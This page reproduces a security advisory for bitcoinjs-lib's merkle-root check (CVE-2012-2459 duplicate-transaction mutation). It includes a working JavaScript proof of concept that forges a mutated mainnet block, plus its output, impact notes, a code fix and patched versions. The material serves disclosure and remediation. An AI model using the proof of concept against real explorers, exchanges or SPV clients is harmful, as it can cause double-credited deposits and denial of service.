
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 2.3.0, < 5.2.1
Patched in 5.2.1
Vulnerable: >= 6.0.0, < 6.1.8
Patched in 6.1.8
Vulnerable: >= 7.0.0-rc.0, < 7.0.2
Patched in 7.0.2
Details
fastMerkleRoot pads an odd level by hashing the last node with itself. It does not report that it did so, and checkTxRoots never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and checkTxRoots accepts all three. Bitcoin Core rejects this case through the mutated flag in ComputeMerkleRoot and the bad-txns-duplicate reason in CheckBlock. This is CVE-2012-2459.
A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in ComputeMerkleRoot, which scans each level for two adjacent equal hashes before padding and raises a mutated flag when it finds a pair, and CheckBlock then rejects the block with bad-txns-duplicate.
uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
bool mutation = false;
while (hashes.size() > 1) {
if (mutated) {
for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
if (hashes[pos] == hashes[pos + 1]) mutation = true;
}
}
if (hashes.size() & 1) {
hashes.push_back(hashes.back());
}
...
The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.
fastMerkleRoot performs the duplication and reports nothing.
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
const data = tools.concat([left, right]);
results[j] = digestFn(data);
}
length = j;
}
return results[0];
Block.calculateMerkleRoot returns that value unchanged, and __checkMerkleRoot only compares it to the header field.
private __checkMerkleRoot(): boolean {
if (!this.transactions) throw errorMerkleNoTxes;
const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}
Nothing anywhere in ts_src looks for an adjacent duplicate pair or for a repeated txid. checkTxRoots is the library's advertised block integrity gate and it inherits the gap.
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');
// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.
const f = JSON.parse(fs.readFileSync(
'test/fixtures/core/blocks.json', 'utf8'))[0];
const honest = Block.fromHex(f.hex);
console.log('honest block id :', honest.getId());
console.log('id matches fixture :', honest.getId() === f.id);
console.log('transactions :', honest.transactions.length);
console.log('merkle root :', hex(honest.merkleRoot));
console.log('checkTxRoots() :', honest.checkTxRoots());
console.log('serialized bytes :', honest.toBuffer().length);
// Attacker duplicates the last transaction and relays the result.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
forged.transactions[forged.transactions.length - 1],
]);
// Round trip through the real parser, exactly as a P2P block message arrives.
const parsed = Block.fromHex(forged.toHex());
console.log('');
console.log('forged block id :', parsed.getId());
console.log('transactions :', parsed.transactions.length);
console.log('merkle root :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots() :', parsed.checkTxRoots());
console.log('serialized bytes :', parsed.toBuffer().length);
const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id :', honest.getId() === parsed.getId());
console.log('different serialized bytes :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());
Output on bitcoinjs-lib v7.0.1:
honest block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
id matches fixture : true
transactions : 9
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3054
forged block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
transactions : 10
merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots() : true
serialized bytes : 3313
same block id : true
different serialized bytes : true
different transaction lists : true
duplicate txid inside forged : true
both accepted by checkTxRoots : true
The honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.
Most real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on checkTxRoots sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published ComputeMerkleRoot and CheckBlock source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from checkTxRoots when a pair is found, matching the mutated output parameter Core threads from ComputeMerkleRoot into CheckBlock.
Report the padding case out of the root computation and act on it.
export function fastMerkleRoot(
values: Uint8Array[],
digestFn: (b: Uint8Array) => Uint8Array,
mutated?: { value: boolean },
): Uint8Array {
...
while (length > 1) {
let j = 0;
for (let i = 0; i < length; i += 2, ++j) {
const left = results[i];
const right = i + 1 === length ? left : results[i + 1];
if (i + 1 < length && tools.compare(left, right) === 0 && mutated)
mutated.value = true;
results[j] = digestFn(tools.concat([left, right]));
}
length = j;
}
return results[0];
}
Thread the flag through Block.calculateMerkleRoot and have __checkMerkleRoot return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way CheckBlock rejects it with bad-txns-duplicate. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.
The affected block-root verifier was introduced in 2.3.0 as Block.checkMerkleRoot(), alongside Block.calculateMerkleRoot(). Later versions expose block-root validation through Block.checkTxRoots().
Upgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line.
The fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.
EPSS, exploit probability
Low0.18%
estimated chance of real-world exploitation in the next 30 days, higher than 7.6% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.